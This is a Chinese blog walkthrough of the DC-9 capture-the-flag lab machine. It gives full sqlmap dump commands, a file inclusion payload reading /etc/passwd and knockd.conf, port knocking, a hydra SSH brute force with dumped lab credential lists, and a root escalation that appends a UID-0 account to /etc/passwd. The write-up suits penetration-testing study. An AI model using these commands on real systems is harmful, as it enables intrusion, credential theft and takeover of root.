当前位置:网站首页>DC-9靶场下载及渗透实战详细过程(DC靶场系列)

DC-9靶场下载及渗透实战详细过程(DC靶场系列)

2022-08-10 22:11:00 金 帛

目录

一. 信息收集

1. 主机扫描

2. 端口扫描

3. 目录扫描

4. 页面探测

二. 渗透过程

1. SQL注入

2. 登入后台

3. 端口敲门服务

4. ssh爆破

5. 提权

三. 收获总结

1. openssl命令

2. Linux系统下的引号


 DC-9靶场下载地址https://www.five86.com/downloads/DC-9.zip

一. 信息收集

1. 主机扫描

2. 端口扫描

注意到ssh服务端口是filtered的,可能是什么原因给关掉了

3. 目录扫描

dirsearch -u 192.168.120.144 -e * -x 403 --random-agent

4. 页面探测

测试发现,Search页面搜索存在SQL注入

二. 渗透过程

1. SQL注入

知道注入点,接下来上sqlmap跑,POST传参search,爆库

sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' --current-db

爆表

sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -tables

爆字段

sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -columns

爆值

sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -C 'Username,Password,UserID' -dump

只有一位用户,还有密码,这密码一看就是md5,接下来找个在线网站解密md5在线加密解密

得到密码transorbital1

2. 登入后台

接着用该密码登入后台

就多了个Add Record界面,注意到下面有File does not exist,考虑存在文件包含,接着用参数fuzz测试一下,fuzz字典连接web渗透通用fuzz字典(小而精)

burpsuite抓包,构建payload

?§§=../../../../../etc/passwd

然后再把我们的参数字典加载进来

参数名是file,存在文件包含漏洞

3. 端口敲门服务

考虑到ssh端口是关闭的,可能是开启了knock服务(参考端口敲门服务),利用文件包含确认一下,一般开启了knock服务就会存在/etc/knockd.conf文件

构造payload

/addrecord.php?file=../../../../../etc/knockd.conf

果然有,开启ssh服务得依次敲击7469,8475,9842端口,利用netcat进行敲击

nc -z 192.168.120.144 7469 8475 9842

敲击完后发现端口打开了

4. ssh爆破

无奈测试了一下admin登不上去,想起之前SQLmap跑出过一个users的数据库

 存放网站用户信息的,我们去瞧一下

sqlmap -u "http://192.168.120.144/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'users' -dump

用这些账号密码组成字典,爆破ssh

username.txt

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

password.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

接下来用九头蛇进行爆破

hydra -L username.txt -P password.txt ssh://192.168.120.144

爆破出了三个用户

chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee

尝试登入发现janitor用户有东西

ls -la
cd .s*
cat *

有几个密码,复制到刚才的password文件继续爆破ssh

password.txt

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

爆破出了一个新用户

fredf:B4-Tru3-001

发现有个root权限文件

5. 提权

test文件打开是一堆乱码,应该是一个程序

在上两级目录发现test.py文件还有test.spec文件,所以后面目录下的test程序应该就是根据test.py文件写的(额,可以理解为C语言写的一个exe程序吧!?),我们打开文件看一下test程序是干嘛的

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

该脚本的意思是打开用户输入的第二个文件,将第二个文件的内容追加保存到第三个文件里面,也就是说如果有命令是test.py a.txt b.txt,就会将a.txt的文件内容保存到b.txt里面

我们可以根据任意文件写入的操作,去新添加一个root权限的用户,达到提权的效果,跟DC-4靶场一样的操作,只不过得添加一个有密码的用户,事先参考/etc/passwd解释

先利用openssl命令创建一个密码

openssl passwd -1 -salt <用户名> <密码>

openssl passwd -1 -salt hack hack

得到hash密码,$1$hack$xR6zsfvpez/t8teGRRSNr.

接着到tmp目录新建一个文件

cd /tmp

echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash' > hack

 再回到/opt/devstuff/dist/test目录,执行程序test,将hack的文件内容写入到/etc/passwd文件里面

cd /opt/devstuff/dist/test

sudo ./test /tmp/hack /etc/passwd

可以看到hack用户已经添加到/etc/passwd文件里了,接下来切换用户

su hack

输入密码hack 

在root目录下找到flag

三. 收获总结

1. openssl命令

openssl是个密文生成器, 参考openssl命令详解,如生成Linux系统的密文可以用命令

openssl passwd -1 -salt <用户名> <密码>

2. Linux系统下的引号

单引号会自动对字符进行转义,双引号不会对字符进行转义,不明白很容易就吃了echo的亏,参考Linux系统下的引号

原网站

版权声明
本文为[金 帛]所创,转载请带上原文链接,感谢
https://blog.csdn.net/l2872253606/article/details/126062459